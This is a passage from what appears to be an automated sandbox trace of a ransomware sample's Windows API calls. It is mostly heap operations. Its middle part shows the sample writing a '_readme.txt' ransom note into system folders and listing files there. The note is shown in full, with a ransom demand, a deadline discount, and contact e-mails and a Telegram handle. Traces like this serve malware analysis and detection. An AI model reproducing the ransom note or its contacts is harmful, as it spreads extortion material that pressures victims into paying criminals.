lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.345] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.347] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0116.348] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.348] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.348] PathFindFileNameW (pszPath="") returned="" [0116.348] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.348] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.348] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.348] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0116.348] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.348] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.348] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0116.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.349] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.349] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.349] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.349] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.349] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.349] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.349] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.349] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.350] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.350] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.350] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.351] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0116.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.351] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.351] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.351] PathFindFileNameW (pszPath="") returned="" [0116.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.351] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.351] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.351] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.351] 